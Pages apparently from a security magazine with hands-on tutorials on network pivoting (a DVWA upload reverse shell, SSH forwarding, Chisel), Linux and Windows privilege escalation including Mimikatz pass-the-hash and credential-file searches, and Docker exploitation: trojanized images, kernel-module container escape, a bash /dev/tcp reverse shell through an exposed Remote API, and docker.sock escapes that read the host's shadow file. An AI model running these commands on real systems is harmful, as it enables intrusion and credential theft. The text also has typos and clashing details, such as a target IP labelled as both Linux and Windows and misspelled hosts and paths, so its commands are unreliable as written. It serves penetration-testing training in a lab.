In this article we will explore with practical examples pivoting and data exfiltration. Pivoting Pivoting is the exclusive method of using an instance also known by ‘foothold’ to be able to “move” from place to place inside the compromised network. It uses the first compromised system foothold to allow us to compromise other devices and servers that are otherwise inaccessible directly. [2] Today we can find many different tools to use to perform a pivoting, the most common is SSH Port Forwarding, or SSH Port Forwarding with proxy chains, where we can use the SSH with dynamic port forwarding to create a socks proxy, with ProxyChains to help with tools that cannot use socks proxies. Another technique is using Metasploit, the most popular penetration testing framework, offers four main ways of pivoting: Portfwd, Route, AutoRoute and Packet Pivoting.

119

Pivoting Example: We have created a test environment to be compromised. Some concepts are extremely important to be understood, mainly the concepts of Networks, Routing and how it all works. Testing Scenario: • • •

An attacker has an IP 192.168.1.128 – Kali Linux Machine. The attacker compromises a Linux Machine with the IPs 192.168.1.131 and 10.128.0.5 The attacker checks the 10.128.0.x network and finds an active IP 172.15.128.0 (Linux) and tries to compromise it as well.

Now, what should be noted is that IP 172.15.128.0 (Windows) is not directly accessible to the attacker, but it can still be compromised by the "Pivoting" technique. Let set up this environment to practice pivoting technique: Requirements: • • •

Attacker Machine (Kali) Linux (Metasploitable) Windows 10 64bits

Lab environment Attacker eth0 | 192.168.1.128 Type: ifconfig or sudo ifconfig

Figure 1: Attacker Machine[3]

120

Victim eth0 | 192.168.1.131 eth1 | 10.128.0.5

Figure 2: Victim Machine[3]

Windows Machine eth1 | 10.128.0.6

Figure 3: Vulnerable Machine[3]

121

For testing purposes, we are using the tool Nmap in aggressive mode for the reconnaissance phase, we can see that we have web application in port 80, using Apache 2.2.8 nmap -A -T5 192.168.1.131

Figure 4: NMAP Tool – Recon phase[3]

122

Figure 5: Access Web Application – Recon phase[3]

After that this, we can explore various options depending on the final objective, our idea in this paper is to explore the Pivoting technique, we will first list the Directories and Sub-Directories so that we get access and as soon as we gain access to the machine victim, we can start the Pivoting technique. wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc=404 http://192.168.1.131/FUZZ $ wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://192.168.1.131/FUZZ ******************************************************** * Wfuzz 2.2 - The Web Bruteforcer * ******************************************************** Target: http://192.168.1.131/FUZZ Total requests: 950 ================================================================== ID Response Lines Word Chars Request ================================================================== 00022: 00130: 00378: 00690: 00938:

C=301 C=403 C=301 C=301 C=301

7L 10 L 7L 7L 7L

12 W 29 W 12 W 12 W 12 W

184 Ch 263 Ch 184 Ch 184 Ch 184 Ch

"admin" "cgi-bin" "images" "secured" "CVS"

Total time: 5.519253 Processed Requests: 950 Filtered Requests: 945 Requests/sec.: 172.1247

123

Figure 6: Access Web Application – Recon phase[3]

Damn Vulnerable Web App (DVWA) is a PHP / MySQL web application that is “damn vulnerable”. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers / students to teach / learn web application security in a classroom environment.[4] So, here we found a very known vulnerability called File Upload, that we’ll use to explore and to get access in the victim environment.

Figure 7: FileUpload – Exploitation[3]

After we uploaded a "reverse shell" in a .php file, we were able to access the victim's machine as we can see. 124

nc -vv -ltp 1717

Figure 8: Reverse Shell – Exploitation[3]

Looking at the IP settings of the victim machine, we notice that it has a network card being connected to a different network than the initial network that the attacker is exploiting, and that until then, it was the only network available for exploitation. ip add

Figure 9: Reverse Shell – Exploitation[3]

Through the victim's machine, it is possible to execute various commands to map and find vulnerabilities even though they are on different networks. nmap 10.128.0.5

Figure 10: Reverse Shell – Exploitation[3] ->

125

After finding another machine within the new network segment, we can try to exploit this new machine and thus try to access it, even if it is on a network "not accessible" by the attacker. nmap 10.128.0.5 -A

Figure 11: NMAP Exploitation[3]

At this point an attacker can “move laterally” within a network, bypassing the firewall and seeking to gain access to other systems through an already penetrated system. ssh -i [email protected] -p 22 -L 171:192.168.1.128:22

Figure 12: NMAP Exploitation[3]

After verifying that the second machine is on a different network can be accessed using an SSH key, we can try to perform the pivot directly from the attacker machine ls -lah

126

Figure 13: Exploitation 2nd machine[3]

We are using a technique known as SSH Port Forwarding, it listens on a local port established when the connection is set up. Anything sent to the local port is forwarded through the SSH tunnel. At the SSH server, the application protocol of the message being sent through the tunnel is used to determine where to send the traffic. We start to listen the port 1717 to use as an SSH tunnel to get access to another machine in another network. ssh -i [email protected] -p 22 -L 171:10.128.0.11:22 ssh [email protected] -p 1717 -L 3000:192.168.1.128:1717

Figure 14: SSH Port Forwarding[3]

127

Chisel Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Chisel is very similar to crowbar though achieves much higher performance. [5]

Figure 15: Chisel[5]

Chisel features:[5] • • • • • • • • • •

Easy to use. Performant. Encrypted connections using the SSH protocol (via crypto/ssh); Authenticated connections; authenticated client connections with an user’s config file, authenticated server connections with fingerprint matching; Client auto-reconnects with exponential backoff. Client can create multiple tunnel endpoints over one TCP connection. Client can optionally pass-through HTTP CONNECT proxies. Server optionally doubles as a reverse proxy. Server optionally allows SOCKS5 connections. Reverse port forwarding (Connections go through the server and out the client).

128

Chisel at work We can run a server on any Pentesting platform, and then connect to it from target machines. On making that connection, you can define different kinds of tunnels we want to set up. Chisel is a binary that acts as both the client and the server and works on many operative systems like Unix and Windows. ./chisel

or chisel

To start the server, we run the command below, that will allow us to specify what port chisel listens on. chisel server -p [port] --reverse. -p

If we do not provide this (listen port), it will try 8080 by default. The “--reverse” tells the server that we want clients connecting in to be allowed to define reverse tunnels, that is, the clients connecting in can open listening to ports on your local machine. chisel server -p 1717 -reverse -v

On the other hand, we have the client who is responsible for accessing the port being listened to by the server. chisel client Attacker:[port] [port]:Victim:[Listen port]

Or localhost – Of course depending on the application chisel client Attacker:[port] [port]:127.0.01:[Listen port]

We need to download Chisel for our victim machine, and we will be able to make the connection Victim x Attacker through the channel we opened earlier. chisel client 192.168.1.128:1717 1234:192.168.1.131:1717 chisel server -p 1717 -reverse -v

This way we were able to demonstrate one of many post-exploitation techniques, there is much more tools to perform pivoting and we could possibly write a book about all of them. 129

Privilege Escalation Examples By Jeremy Martin

Linux SUID and SGID Another method is Abusing of SUID / GUID files. These are special permissions granted to users to execute some commands or to carry out certain configurations / operations at administrative level. This authorization may be abused and can result in a vertical privilege escalation. Use these commands to find these permissions $ find / -user root -perm -4000 2>/dev/null $ find / -perm -2000 2>/dev/null

gtfobins.github.io/ is one of the best privilege escalation resources. If you find a script file with SUID permission, which is owned by root and executed by others, it’s a good idea to Check SUID exploitation is available or not on here. Credentials Stored on system There are several locations that we can find passwords like log files, configurations, memory locations etc. Sometimes these passwords can be used to get higher privileges. Some of the useful commands to find credentials are $ history $ history | grep -B4 -A3 -i 'passwd\|ssh\|host\|nc\|ping' 2>/dev/null $ grep -B3 -A3 -i 'pass\|password\|login\|username\|email\|mail\|host\|ip' /var/log/*.log 2>/dev/null $ find / -maxdepth 4 -name '*.conf' -type f -exec grep -Hn 'pass\|password\|login\|username\|email\|mail\|host\|ip' {} \; 2>/dev/null

There is a free and open source tool named Mimipenguin, a simple but powerful Shell / Python script used to dump login credentials (usernames and passwords) from the current Linux desktop user. Exploiting vulnerable MySQL running as root If MySQL is running as root and if you can log in to the database by your username and password, you may issue the following command on MySQL shell to get root shell select sys_eval('whoami');

This will execute command as root. 130

Windows Credentials Stored on system We can minimize the effort to find these using commands and tools. The “findstr” command will find those files which contain word password findstr /si password *.txt findstr /si password *.xml findstr /si password *.ini

PowerShell commands to search password files: Get-UnattendedInstallFile Get-Webconfig Get-ApplicationHost Get-SiteListPassword Get-CachedGPPPassword

Commands to search passwords on Registry Files” reg reg reg reg reg reg

query query query query query query

HKLM /f password /t REG_SZ /s HKLM /f passwd /t REG_SZ /s HKU /f password /t REG_SZ /s HKU /f passwd /t REG_SZ /s HKCU /f password /t REG_SZ /s HKCU /f passwd /t REG_SZ /s

Mimikatz Pass-the-Hash Mimikatz can create a trust relationship from a username and password hash. To do this with mimikatz, the command would look like this: ./mimikatz.exe # sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:COMMAND

To get the hashes, we need to run “lsadump”. ./mimikatz.exe # lsadump::sam sam.hiv system.hiv

If you get an error, you may not have enough rights. If that is the case, you must run at elevated privileges for it to work. Try running “privilege::debug” and “token::elevate”. # privilege::debug # token::elevate # log hashes.txt

Now you can either try Pass-the-Hash or attack the "user:hash" values with a tool like John the Ripper, NCrack, or Hachcat 131

Container Security: The Torpedo’s Offense By Nitin Sharma “If you give a hacker a new toy, the first thing he’ll do is take it apart to figure out how it works.” - Jamie Zawinski Application Development and Deployment strategies have come very far from the older Waterfall model. In the modern era where DevOps and Agile methodologies are paving their way so quick, the transformation can be seen in the SDLC processes. Containers, being the biggest innovation in the shipping industry, have also marked their impact in software development. Think of a server as a ship and an application as a crate or container.

Photo by Rinson Chory at Unsplash [1]

Containers abstract the application platform, its dependencies, and the underlying infrastructure. One can split applications into modules (such as database, front-end, and so-on) via containerization. With all modernization in DevOps philosophy, the security aspect is something that no one can eliminate anyhow. It is also a prime concern with Docker containers and relative processes. In this paper, we will start with some basic terminology of container architecture and the Docker concepts. The focus of this paper is to highlight the ways around exploitation and penetration testing of Docker containers. 132

Container Technology: Introduction According to NIST SP 800-125 [2], virtualization can be defined as, “The simulation of the software and/or hardware upon which other software runs.” In cloud environments, hardware virtualization is used to run many instances of operating systems on a single physical server while keeping each instance separate. Similarly, operating system virtualization provides multiple virtualized OSs above a single actual OS kernel. This approach is often called an OS Container. From chroot system in 1997 with Unix version 7 to LXC (LinuX Containers) in 2008, containers have seen a lot of growth. And finally, Docker came into the picture in 2013. This has shown a great capability in terms of application virtualization where the same shared OS kernel is exposed virtually to multiple discrete apps. Coming to the deployment of apps in containers as compared to VMs, brings a little familiarity while using different methods of infra separation. For VMs, there is a layer of hypervisor while in containers, its OS kernel.

Virtual Machine and Container Deployments [3]

Every host OS used for running containers has binaries that establish and maintain the environment for each container, also known as container runtime, which coordinates multiple OS components that isolate resources and resource usage so that each container sees its own dedicated view of the OS and is isolated from other concurrently running containers. Examples of runtime include Docker, rkt and the Open Container Daemon. Our prime focus here is Docker.

133

As containers share the same kernel and can be run with varying capabilities and privileges on a host, the degree of segmentation between them is far less that that provided to VMs by a hypervisor. Thus, carelessly configured can result in containers having the ability to interact with each other and the host far more easily and directly than multiple VMs on the same host. [3]

Container Technology: Architecture According to NIST SP 800-190 [4], the five tiers of container technology architecture:

Container Technology Architecture Tiers, Components, and Lifecycle Phases [4]

1. Developer systems (generate images and send them to testing and accreditation) 2. Testing and accreditation systems (validate and verify the contents of images, sign images, and send images to registry) 3. Registries (store images and distribute images to the orchestrator upon requests) 4. Orchestrators (convert images into containers and deploy containers to hosts) 5. Hosts (run and stop containers as directed by the orchestrator)

In the boxes at the bottom of image is presented another way to understand container technology architecture by considering container lifecycle phases. 1. Image Creation, Testing, and Accreditation 2. Image Storage and Retrieval 3. Container Deployment and Management

134

Docker Primer: Introduction to Docker Terminology To provide an overview around docker containers in a practical way, let’s try to put our first steps with the help of “Play with Docker (PWD)”. [5] This is a project hacked by Marcos Liljedhal and Jonathan Leibiusky and sponsored by Docker Inc. 1. Visit labs.play-with-docker.com/

2. It requires a login to the Docker Hub portal. Please sign-up if you don’t have an account. 3. Once the sign up is done, verify your email and sign into Docker Hub. Post this, the browser will automatically show the “Start” button in “Play with Docker” tab. Hit the “Start” button.

135

4. A 4-hour session will be created. Hit “ADD NEW INSTANCE” and a machine will spin up for you to run docker commands. 5. Run some commands to see what user you are and if docker is installed there or not. Now we are ready to start running some docker commands and having fun around docker. As one can see in the below image, the docker comes preinstalled in the machine.

Now the machine is ready, we will go through the Docker Basic commands and Docker Internals both of which are important before moving towards the Docker container exploitation. One can see the command and result in the image with each action.

136

Docker Basics 1. Pulling a docker image. 2. Running a docker container with

“/bin/ash” process Note: --rm → to shut the container once /bin/ash is exited -it → “i” for interactive and “t” for tty /bin/ash → to open the ash shell which comes by default in busybox alpine image

Important: The PID 1 inside the alpine container is “/bin/ash” however, there is only one process running in the container which is “ps -ef”. Once exited the shell, the container will shut down (can be checked with “docker container ps” command).

3. Downloaded ubuntu image and checking existing images

4. Running container in detach mode

-p → to define exposed port “x:y” where x is node port and y is container internal port. -d → to run container in detach mode 5. Writing and building a Dockerfile for webserver with custom web page 5.1 Steps to write Docker file and custom page in a specific directory “/webtest”.

137

5.2 Building Docker file 5.3 Run container from this build

5.4 Check the running server

Docker Architecture and Internals

Docker Engine - Client-Server Architecture [6]

• • • •

Client – The commands we ran with “docker” keyword e.g. “docker run”. Server – The daemon “dockerd” which is listening for all Docker API requests from command line. REST API – Specifies interfaces that programs can use to talk to the daemon and instruct it what to do. Objects – All images, containers, networks, volumes, plugins, etc.

138

Underlying technology (Docker Internals) To understand Docker Internals, one needs to understand how Unix memory and system calls work. [7]





User space – This is the portion of system memory in which user processes run. It refers to all of the code in an operating system that lives outside of the kernel. Most Unix-like operating systems (including Linux) come pre-packaged with all kinds of utilities, programming languages, and graphical tools - these are user space applications. We often refer to this as “userland”. Kernel space – This is the portion of memory in which the kernel executes and provides its services. The kernel provides abstraction for security, hardware, and internal data structures.

Note: A typical userland program gets access to resources in the kernel through layers of abstraction similar to the diagram above.

139

When a container is first instantiated, the user space of the container host makes system calls into the kernel to create special data structures in the kernel (cgroups, svirt, namespaces). Kernel name spaces allow the new process to have its own hostname, IP Address, filesystem mount points, process id, and more.

Once the container is instantiated, the process or processes execute within a pristine user space created from mounting the container image. The processes inside the container make system calls as they would normally. The kernel is responsible for limiting what the processes in the container can do.

When the container is stopped, the kernel name space count is decremented and typically removed. Once terminated, the user has the option of discarding the work done or saving the container as a new image. [8]

140

Namespaces in Docker Namespaces (aka Kernel name spaces as we have seen) provide a layer of isolation. Each aspect of a container runs in a separate namespace and its access is limited to that namespace. Docker Engine uses namespaces such as the following on Linux: [9] • • • • •

pid – process isolation (pid: process ID) net – managing network interfaces (net: networking) ipc – managing access to ipc resources (ipc: inter-process communication) mnt – managing filesystem mount points (mnt: mount) uts – isolating kernel and version identifiers (uts: unix timesharing system)

Cgroups in Docker A cgroup limits an application to a specific set of resources. It allows Docker Engine to share available hardware resources to containers and optionally enforce limits and constraints. E.g. limiting memory available to a specific container. [10]

Docker Engine uses the following cgroups: [11] • • • • • • • •

Memory cgroup for managing accounting, limits and notifications. HugeTBL cgroup for accounting usage of huge pages by process group. CPU group for managing user /system CPU time and usage. CPUSet cgroup for binding a group to specific CPU. Useful for real-time apps and NUMA systems with localized memory per CPU. BlkIO cgroup for measuring and limiting amount of blckIO by group. Net_cls and net_prio cgroup for tagging the traffic control. Devices cgroup for reading/writing access devices. Freezer cgroup for freezing a group. Useful for cluster batch scheduling, process migration and debugging without affecting prtrace.

141

Union File Systems in Docker Union File Systems (aka UnionFS) operate by creating layers, making them very lightweight and fast. Docker Engine uses UnionFS variants to provide the building blocks for containers. They provide the following features for storage: [11] • • • •

Layering Copy-On-Write Caching Diffing

By introducing storage plugins in Docker, many options are available for the Copy-OnWrite (COW) functionality, for example: • • • • •

OverlayFS (CoreOS) AUFS (Ubuntu) Device mapper (RHEL) btrfs (next-gen RHEL) ZFS (next-gen Ubuntu releases)

Let us now look at the docker internals with some hands-on exercise using “cinf” [12] tool inside Play-with-Docker node. This is short for “container info”, a command line tool to view namespaces and cgroups, the low-level stuff from container world.

142

1. Get a node ready and check for the Linux and Docker version. cat /etc/*-release sudo docker --version 2. Install cinf following the documentation at Github. [12] curl -s -L githib.com/mhausenblas/cinf/releases/latest/download/cinf_linux_amd64

3. Check about the top-level namespaces for PWD node. sudo cinf 4. Run a set of daemonized containers with certain limitations. 4.1

An NGINX webserver with a CPU share of 25% (relative weight, with 1024 being 100%)

sudo docker run --cpu-shares 256 -d -P nginx Md5sum with a RAM limit of 10MB sudo docker run --momory 10M -d busybox md5sum /dev/random 4.2

A sleep process running under UID 1000 sudo docker run --user=1000 -d busybox sleep 10000

143

5. Check the running processes and capture the PIDs. docker container ps

ps faux

Note: Container running PIDs are 14306 (NGINX container), 14827(md5sum) and 15410 (sleep) 6. Use cinf to analyze cgroups and namespaces. sudo cinf 7. Now we are able to see exactly the individual namespaces associated with each of the container along with the ones which we have observed for the PWD node. 8. Check cgroups for Nginx process with namespace ‘4026534071’ which is of type ‘mnt’ having two processes under it as 0 and 101 respectively. In the result below, one can visualize, the two processes in this namespace with PIDs ‘14306’ and ‘14362’ (the former being the parent of the latter).

144

sudo cinf --namespace 4026534071

There are a lot more things related to cgroups and namespaces that could be done. However, the practical understanding until here will be good to proceed.

145

Walkthrough: Attacking Models for Docker Exploitation There are a lot of ways one can exploit Docker containers. It depends how attacker visualizes the perception. Attacker Model 1 - From inside a container, when attacker has gained access to a container, it’s pretty easy to execute commands inside the container. And the attacker will focus on escaping the isolation that the container brings. This type of attack is called container escape. Attacker Model 2 - From outside of a container when the attacker has unprivileged access to a host, there is no ability to execute any command on host. In such scenarios, attacker uses Docker daemon on the host to access. This type of attack is called Docker daemon attack. Misconfigurations – This is not an attacker model, however more important than the above two discussed. This is related to the security problems that arises due to non- recommended or wrong use of program where incorrect configuration creates an exploitable scenario for an attacker. Based on the above criteria, we will be going to get our hands dirty with some example use cases for exploiting Docker Containers. For this, I have created a lab environment in a VM with Ubuntu 16.04 image and installed Docker on it using ‘apt’.

Note: If you are not working with Docker as root user, it might require some post installation steps for Linux. Feel free to visit Docker docs. [13] 1. Trojanizing Docker Image – In this scenario, we will see how we can place a backdoor on a Docker image to remotely access the filesystem or even execute commands on the host operating system. This work is presented by Daniel Garcia (cr0hn) and Roberto Munoz (robskye) at RootedCON 2017. [14] Step 1: Check python3 (comes preinstalled) and git in a dedicated directory (here it is 1_tr-exploit). If not present, install them. sudo apt-get install git

146

Step 2: Clone the dockerscan tool from Github. [15] sudo git clone github.com/cr0hn/dockerscan

Step 3: Pull any of the docker base image. Here it is Nginx. cd dockerscan docker pull ngix:latest

Step 4: Save the original image with ‘_original’ in name. docker save ngix:latest -o ngix_original

Step 5: Export the required environment variables – LC_ALL and LANG. Export LC_ALL=C.UTF-8 Export LANG=C.UTF-8

Step 6: Check the IP for docker0 interface as we are going to check it locally. This will be utilized in the next step when we will be going to modify the base image. ifconfig Step 7: Run the dockerscan command to modify the original image and save it as infected image. Copy the command from output for creating a reverse shell.

147

$ dockerscan image modify trojanize -l -p -o Note: Before running this, there are some challenges as we do not have installed the dockerscan. Till now, we just have pulled the module from repo. Also, it’s my newly created ubuntu lab which lacks ‘pip’ and ‘setuptools’. Let us install them first and then the dockerscan tool. Step 7.1 Install python3-pip. sudo apt-get install pythin3-pip

Step 7.2: Install setuptools. sudo python3 -m pip install --upgrade setuptools

Step 7.3: Now, installing dockerscan with setup.py present in the cloned using pip3. It will auto-detect setup.py file and install it. sudo pip3 install .

Step 7.4: Check if dockerscan is installed using its ‘-h’ switch. dockerscan -h

148

dockerscan repo

Finally, the command to create an infected container. Copy the “nc” command from the output to create a reverse shell. sudo dockerscan image modify trojanize ngix_original -l 172.17.0.1 -p 4444 -o nginx_infected

Step 8: Run the command copied in a different terminal. nc -v -k -l 172.17.01 4444 Step 9: Spin up a container from the infected image via “docker load” and “docker run” command. docker load -i nginx_infected.tar

Step 10: Check the reverse shell connection and run some commands if backdoor is working or not. dockerscan -h nc -v -k -l 172.17.0.1 4444

149

2. Privileged Container Escape with Kernel Capability exploitation – In this scenario, we will look for privileged container escape. But before, going through the same, let us understand about kernel capabilities. We have seen the use of namespaces previously in Docker internals, that prevents a process from seeing or interacting with other processes. However, the interesting fact is containers can still access some resources from the host such as the kernel and kernel modules, the /proc file system and the system time. The Linux capabilities feature breaks up the privileges available to processes run as the root user into smaller groups of privileges. This way a process running with root privilege can be limited to get only the minimal permissions it needs to perform its operation. Docker supports the Linux capabilities as part of the docker run command: with “—cap-add” and “—cap-drop”. By default, a container is started with several capabilities that are allowed and can be dropped. Let us see the capabilities in our Ubuntu Lab VM first.

Step 1. capsh – This is the utility to see for the capabilities in Linux. capsh --print

Step 2. Number of capabilities in your ‘/proc’ file system. (In Ubuntu, it’s showing 37. Generally, you will see it close to 40) cat /proc/sys/kernel/cap_last_cap

150

Step 3. Check the capabilities associated to a process. Here it is the $BASHPID which will return the PID of bash for “IWC” user. grep Cap /proc/$BASHPID/status CapInh CapPrm CapEff CapBnd CapAmb

= = = = =

Inherited capabilities Permitted capabilities Effective capabilities Bounding set (defines the upper level of available capabilities) Ambient capabilities set

Step 4. Understanding the capability after decoding it. capsh –decode=0000003ffffffffff

Now, moving on to the docker containers to see the difference between privileged and unprivileged container. A ‘--privileged’ option while running the container will add extra capabilities to the container. Step 1. Run alpine docker container in a usual way. sudo docker run -itd alpine

Step 2. Check the alpine container if running with success. Here, this is an alpine image and to check the capabilities, ‘libcap’ is required for ‘capsh’ utility. sudo docker ps

151

Step 3. After the ‘libcap’ installation check, the capabilities with ‘capsh’. capsh --print

Step 4. Similarly, we now run the alpine container with “—privileged” flag. sudo docker run -itd --privileged alpine

Step 5. When checking with ‘capsh’, we can see a visible increase in the “Current” capabilities. Some of the highlighted ones are “admin” capabilities. capsh --print

Obviously, this many capabilities are not required at all. There are specific cases like for building a container with Network Time Protocol (NTP) daemon, one need to add “SYS_TIME” module to modify host’s system time or if someone wants to manage network states, “NET_ADMIN” is a viable option. 152

B: Capability additions and removal must be done while initializing the container via RUN command either in CLI or YAML. One cannot modify the capabilities of already running container.

To follow upon this, we will try to exploit the CAP_SYS_MODULE capability with a privileged container to load our own simple kernel module manually. Writing a “helloworld” kind of Kernel module is easy. And to build it in kernel, a “Makefile” is required. my_module.c – When loaded it prints “DOCKER MODULE LOADING” and similarly will print “DOCKER MODULE UNLOADING”

Makefile

Step 1: Create a folder and put the above two files in there. Step 2: Run ‘sudo make’ to build the module and check the directory for build files. sudo make

Step 3: Convert the code from obtained “my_module.ko” file to Base64 encoding and copy it. base64 my_module.ko

153

Step 4: In a new terminal, run a privileged alpine container and get into the shell of container. sudo docker run -itd --privileged alpine docker ps docker exec -it upbeat_cray sh

Step 4: Paste the code copied in Step 3 to here with the “cat” command into “/tmp/my.ko” file and hit “Ctrl+C” when done. cat > /tmp/my.ko

Step 5: Decode the file at “/tmp” location to another “/my_module.ko” file. base64 -d /tmp/my.ko > /tmp/my_module.ko

Step 6: Start monitoring for “kern.log” file in another terminal. sudo tail -f /var/log/kern.log

154

Step 7: Run the command “insmod” inside the privileged container shell. insmod /tmp/my_module.ko

Step 8: Check the “kern.log” status. sudo tail -f /var/log/kern.log

Step 9: One can also check via “lsmod” for the list of loaded kernel modules. lsmod

Step 10: Try to unload the module via “rmmod” in the privileged container-shell and look for “kern.log” status. This is how we can load a kernel module with privileged flag enabled while running the container. More exciting things one can try will be: a. Try getting a reverse shell while loading a kernel module in similar fashion. HINT: Try to include “kmod.h” and utilize “UMH_WAIT_EXEC” and write the code. b. Try to see if privileged mode is required to achieve above or we can do it with just one capability. We have done the above exploit with the CAP_SYS_MODULE. HINT: Try the flags → “— security-opt apparmor=unconfined -–cap-add=SYS_MODULE” c. Try to find what other exploits are possible, with the privileged mode running containers when we already are aware of a lot of capabilities like CAP_DAC_READ_SEARCH, CAP_NET_ADMIN, CAP_MAC_ADMIN, CAP_SYS_ADMIN, etc.

155

3. Docker Remote API Exploitation – Docker API listens on TCP Ports 2375 (HTTP) and 2376 (HTTPS). By default, one can access the Docker API only from the host’s loopback interface. With an added complexity of TCP sockets, its way more dangerous if provided access beyond the Docker host. It is actually a kind of misconfiguration that has led to a bigger compromise for underlying infrastructure.

Photo from Imperva Blog [16]

In early 2019, hundreds of vulnerable Docker Hosts were exploited by cryptocurrency miners in a chained exploit leading to full infra-exposure. Out of 3822 Docker hosts with Remote API exposed publicly, Imperva researchers found 400 IPs readily accessible. [16] No wonder why Tenable Nessus has declared it with “critical” severity with both CVSS v2.0 and CVSS v3.0 base score equal to 10. [17]

156

Docker Remote API Detection Plugin from Tenable Nessus [17]

In this part, we will explicitly open the Docker Remote API in our lab environment to analyze how one can exploit this misconfiguration. Step 1: Create a dedicated directory for this exercise and install required software for the analysis. Step 1.1 Install nmap sudo mkdir 3_RemAPIExp cd 3_RemAPIExp/ sudo apt install nmap

157

Step 1.2 Install jq sudo apt install jq

Step 1.3: Install curl sudo apt install curl -y

Step 2: Find “docker.service” module where we need to alter configuration for Docker Remote API to enable for every host in network. sudo find / -name docker.service

Step 3: Edit “/lib/systemd/docker.service” file using gedit or vim to add an entry for tcp open to 0.0.0.0 at port 2375 in the “Service” block. Original line after commenting with “#” sign:

New line to be added:

File After Addition of line: Note: This is very important that after completing this practical exercise, please remove the same line as original.

158

Step 4: Restart docker service after daemon reload. sudo systemctl daemon-reload sudo service docker restart

Step 5: Check if port 2375 is open nmap -p 2375 localhost

Step 6: Now, try to get version information of Docker using the curl. curl -s http://localhost:2375/version | jq

Step 7: Let us see ‘docker0’ interface IP to create a reverse shell via Docker Remote API. ifconfig

Step 8: In other terminal, create a netcat listener at any arbitrary port. Here, we assume this terminal as attacker’s terminal. nc -lvp 3124

Step 9: Run the command below to create a reverse shell with a docker container run command where slash is mounted to ‘/mnt’ with chroot and a bash reverse shell created. $ sudo docker -H tcp://:2375 run –rm -v /:/mnt ubuntu chroot /mnt /bin/bash -c “bash -I >& /dev/tcp//3124 0>&1”

159

Step 10: Check the netcat listener, for an active connection inside the container. nc -lvp 3124

Since, the slash directory has been mounted while running the container one can easily access the ‘passwd’ and ‘shadow’ file. And proceed accordingly for lateral movement. E.g. IWC user details accessible from inside of container.

This is just one way to exploit Docker Remote API. Another way is to launch a container with “—network=host” to navigate inside the internal network by looking for more Docker hosts. 4. Docker Socket Exploits - ‘docker.sock’ is the UNIX socket that Docker daemon is listening to. It is the main entry point for Docker API. Docker CLI client uses this socket to execute docker commands by default. With a ‘-H’ option to ‘unix:///var/run/docker.sock’ the daemon listens on tcp host/post or on other Unix sockets. a. World Readable/Writeable – If the permissions to Docker socket are increased due to a misconfiguration, the running containers will be able to access the host details. stat -c "%a %n" /var/run/docker.sock sudo chmod 666 /var/run/docker.sock ls -ll /var/run/docker.sock

For example, the normal permissions to ‘/var/run/docker.sock’ are found to be 660 which were increased to 666 for the analysis. With this scenario, we ran a container.

160

All users will be able to utilize Docker if they have read and write access to the Docker socket. grep admin /host/etc/shadow

b. Container Escape – If the Docker socket is mounted as a volume to a container, the container has access to the API (even if the socket is mounted as read-only). Case 1. To see the capability of Docker socket. Let’s see if we can get the information for all the running containers with it. With ‘docker ps’ sudo docker ps -a

With Docker socket, the same output but in different format curl --unix-socket /var/run/docker.sock -H 'Content-type: application/json' "http://localhost/containers/json?all=1" | jq

161

Case 2. Run a ‘/var/run/docker.sock’ mounted container and install curl command. We will see how curl can be used with Docker socket to achieve a plenty of tasks. sudo docker run -itd --rm -v /var/run/docker.sock:/car/run/docker.sock alpine /bin/sh

docker exec -it da999970a16c sh apk --no-cache add curl

Create a container named – escape (with curl and Docker socket) curl -XPOST -H "Content-type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"alpine:latest","Cmd":["cat", "/host/etc/shadow"],"Mounts":[{"Type":"bind","Source":"/","Target ":"/host"}]}’ "http://localhost/containers/create?name=escape"

Start the container and check if it is started curl -XPOST --unix-socket /var/run/docker.sock "http://localhost/containers/escape.start"

docker ps -a

162

Check the host user info from ‘escape’ container logs curl --output - --unix-socket /var/run/docker.sock "http://localhost/container"

Remove the ‘escape’ container. curl -XDELETE --unix-socket /car/run/docker.sock "http://localhost/containers/escape"

This is how one can exploit Docker socket to achieve access to secret files or to maliciously get insights of Docker Host. 5. CVE 2019-5021 NULL root password – This is one of the recently discovered vulnerability which is due to the ‘root’ user password, which is set, by default, to NULL on Alpine Docker images from version 3.3 or higher. Tenable Nessus has declared this vulnerability with “Critical” severity with CVSS v2.0 score as 10 and CVSS v3.0 score as 9.8. [18] The interesting thing is the fact that it is exploitable with Metasploit. Because of its light weight and small size, it became the choice of most of the folks in terms of Docker Container Management and that’s why could be present in a lot of running Alpine containers.

Containers that are based on the vulnerable Alpine image and have application that utilize Linux PAM, or some other mechanism which uses the system shadow file as an authentication database, may accept a NULL password for the ‘root’ user. This may create a scenario in which a non-root user can bypass the authentication process and gain root access inside the container. [19] Let us see in a small practical exercise what is the root cause of this vulnerability and how to exploit it.

163

Step 1: Run an Alpine container v3.5 with a process to see ‘/etc/shadow’ file. sudo docker run -it --rm alpine:3.5 cat /etc/shadow

Unpassworded ‘root’ Account Plugin from Tenable Nessus [18]

164

Step 2: To actually see how it works, lets run another container with same version of Alpine. Update the shadow and it will install the linux-pam. Create a user to check for the exploit (Here it is IWCTest). sudo docker run -it –rm alpine:3.5 sh apk add --update shadow adduser IWCTest

Step 3: This is ready to exploit. Nothing much required. Just go to IWCTest user and then try to change it to root user. It will change without asking a password. With ‘#’ → root and with ‘$’ → IWCTest. The below image shows exactly what will happen when someone switches user from a regular one to root - No password asked. whoami id su IWCTest whoami id su root whoami id

The only mitigation required here is to add a known password hash to shadow file for the root user while creating Alpine containers from vulnerable versions of image. 6. CVE 2019-5736 runC exploitation – This is a very recent and most popular vulnerability in runC originally found by security researchers, Adam Iwaniuk and Boris Poplawski. [20] The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runC binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command.

Unit42 security researchers have also explained this very interesting bug with a PoC at their blog where it’s been showed, “when runC attaches to a container the attacker can trick it into executing itself. This could be done by replacing the target binary inside the container with a custom binary pointing back at the runC binary itself. As an example, if the target binary was /bin/bash, this could be replaced with an executable script specifying the interpreter path #! / proc / self / exe”. [21] 165

